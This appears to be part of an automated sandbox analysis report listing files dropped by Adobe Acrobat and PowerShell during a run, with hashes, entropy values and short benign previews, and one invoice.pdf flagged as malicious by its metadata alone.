C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.214512997771002
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfshHHrPeUkwRe9:YvXKX8DX4UYpW7+uEVGUUUkee9
MD5:	7740DB98D8852952CC57DC30EE5AA4B9
SHA1:	0F03E798D8135E063409E64B8FD70832B9FB9FE7
SHA-256:	0C07F505BB53B1A0A9CDDA9E9ADB1C22110129084CB8F96D9D14B8AFDB6E12A7
SHA-512:	B9D398AB9909B71E0C409B27B011F82889C8C663F2CBF1CEF7A8F03C9D03E73DBE3311ACA43D316CAAA721D7BED9FE423D133C93661FAD077671E3701BF34342
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.222557611846846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJTqgFCrPeUkwRe9:YvXKX8DX4UYpW7+uEVGTq16Ukee9
MD5:	6EA9D5FC3A278A3F47A5B7964E60B22E
SHA1:	6CFD3D886E50D23E38EFF849997D0CD63FC54CA6
SHA-256:	E53B33156B63BB40EED39357C55CF3C63C7E34114D2FF39F89DC638D161CBFF0
SHA-512:	F0352403AEC3AEC26FA7E50E759C449F716FFDB1149790D0E5D81814B6444353821DA32A2EB58603C8E889374AAFA70E90EF044D52EADC321694CF257B9ABF40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1488177930418555
Encrypted:	false
SSDEEP:	48:YXtlMhNiR94B3EPq/Gj2vk/6nCV5JcxChvjxssR97qPY5:WX2wR6B3EC/Gj2vwrfThvjxj74Y5
MD5:	7538D69BFCFBE7AD371305D5D71C129C
SHA1:	2D33A61896C9873E75038EFCE41FC2FDD6348D09
SHA-256:	3BAA7F29FFC8263EBC691BBC60CCCB469A345AFE305AF8DBBA5E95763BA1C3A3
SHA-512:	D559DAB4E95B519BB4757C31BE784D4568572BE91F09AF5EABD2304D32A42F7DF91E2B931DBE535328EED899CC3DA597950D06CBFBD5FB97F9F756A4EBDF706F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"430d49d8753f3728bfbcaafd9c330819","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557828000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b4aa1ae59650c733d0e9e933b1fa7090","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557828000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d6fb5b24745ca4edb6c0cd3aa21d0d4d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557828000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"778678f837eba809486acc76817c5b5b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557828000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f4aa6749bf1f8fcbf8a53a5d61fb4bfb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557828000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c6c4c7b2c65c355d0449e8348d18bf9e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9847538662812773
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spvl4zJwtNBwtNbRZ6bRZ4AlF:TVl2GL7ms6ggOVpmzutYtp6P1
MD5:	B4DC1A9B7CA1A78E5420BD5969E8AACB
SHA1:	3274BC44E5837825933637B3E40591B37F2807AA
SHA-256:	58EDBD877591A53EEE81B9856AEBEE7A4AC4DDD276453DFED6C566D437DB47CB
SHA-512:	12B6A94E01DA028CA9763041F30F7912E48D141294FA5810C5AE9041114F0F14ABBA3A2178A02108F2BBDB2D187F1902740F4F5228CC52614777F4E45D767A08
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3399406143141657
Encrypted:	false
SSDEEP:	24:7+teAD1RZKHs/Ds/SpvlPzJwtNBwtNbRZ6bRZWf1RZKUqLBx/XYKQvGJF7ursq7:7MeGgOVp9zutYtp6PM1qll2GL7msq7
MD5:	59B2C37C75373AF27CFA3454D0D74EE2
SHA1:	11846AD6A22B1F99BFA7CA80A1CED6677594B6C9
SHA-256:	C8CA2E5069073162C8FD2149F5E6FCB96CA730BF4F36628FCD40A876EF721DA4
SHA-512:	53F0DF3AC5F0690CB569D5ECF0D7D36AC60BF30E3D09E2ABF7977355D3ADF254A6D317C3D6B22EC027A1D7993BB6779ED99D17DB364B325794F5C87D49FFE1D8
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgUlj2Q5pieqYDFPfrrFxTtFikgYyu:6a6TZ44ADENzYDtzrFxTxgK
MD5:	F5899C49BA1C647D1EEE6B7523C2DCF4
SHA1:	92BC35BC75B5D40C7AB96B4C1D1154FF0DC4CA15
SHA-256:	738CB89A6D9FB05A8F297B8929EE3E379399BBA9BEEDFBE54536536AE0D8FF27
SHA-512:	D67D38122A0721581D56CA3FB97AB7826F7EB5D1257611A9DD308C9529C1205CDC217F63494706FE309FFA7C4109A94CE144C359E80528393AC244F77340315F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI904b0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClaCwlYH:Qw946cPbiOxDlbYnuRK+b3lYH
MD5:	8C1C15AD936C57F2D08AF4D3533D2C09
SHA1:	5A19B38352BC021F55F3E2DC5088F1816CA86869
SHA-256:	50B8AF1F88017DACAFD41545F0A8786CA5EA4B23A4ABBDC8E74C33C9FAF222F3
SHA-512:	3D55E73FBD1E3AEECF580C4D36B87865E59CD68B208DAEA57D02B2251B7A99A73D7229ECE6267A03EF7B23A2FB7C88D474EE1822499CCB08BC117458C8007A68
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.0.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwzrjx3p.wet.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_efu4y3d2.42k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-10-23-329.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352698507089444
Encrypted:	false
SSDEEP:	384:dyWHua7a7f/M0E6NM23NTFhkc/XKh3nZSxak+mEKRe+9jwCZ7HGOSrSLKjhnALTj:6T3
MD5:	44CE0B408EFED83909B74C3F0781DFC1
SHA1:	7ADB636F18DB6B9EA8409EF2504FDAA9121AB9E1
SHA-256:	0FF2A7593C72BE9B6CF4C3C637990744931C89D53E5B7C512DD8795A2F68B7DF
SHA-512:	1F8AECF520CC43EFA0FE0780D1A563EE6DB7D5D0DA718ECF4AF65ADAAD82E8B5F524AB3F35056A741282BF092BC0E4CEF412711FBA57D4F669AA9885E1CB8793
Malicious:	false
Preview:	SessionID=00d6e7ee-39c0-461d-b0cf-253897bb677b.1736557823346 Timestamp=2025-01-10T20:10:23:346-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=00d6e7ee-39c0-461d-b0cf-253897bb677b.1736557823346 Timestamp=2025-01-10T20:10:23:356-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=00d6e7ee-39c0-461d-b0cf-253897bb677b.1736557823346 Timestamp=2025-01-10T20:10:23:356-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=00d6e7ee-39c0-461d-b0cf-253897bb677b.1736557823346 Timestamp=2025-01-10T20:10:23:356-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=00d6e7ee-39c0-461d-b0cf-253897bb677b.1736557823346 Timestamp=2025-01-10T20:10:23:356-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392636553814395
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbK:/YHB5
MD5:	8A46A7E7F3A83ED4E946ED5DDE2D4CD4
SHA1:	837A047CB7398FCDDE7FC038A7EE7D3949FFA364
SHA-256:	53BFE98E4EC2B9A15BE5CD482C2D96417002D0A234E32617294381BBF30D3099
SHA-512:	CED9AD0337952C5E8A9D32AF68A6EA253B2D0C9C5F046B82F5FA28240393C2B769C3344D4A5F7BBFA3663C687F160906A2234F7BABE3DE13EB840617BBA65D11
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\051212ca-14df-448c-aeba-d1c288e8eae1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ac438c37-4edf-46ed-8c42-96d2b0cdcdfe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b6aef9a6-d984-41c9-be0b-1fc03bdb6032.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fe3d391b-ee46-4b34-bea5-8135aea16b1b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
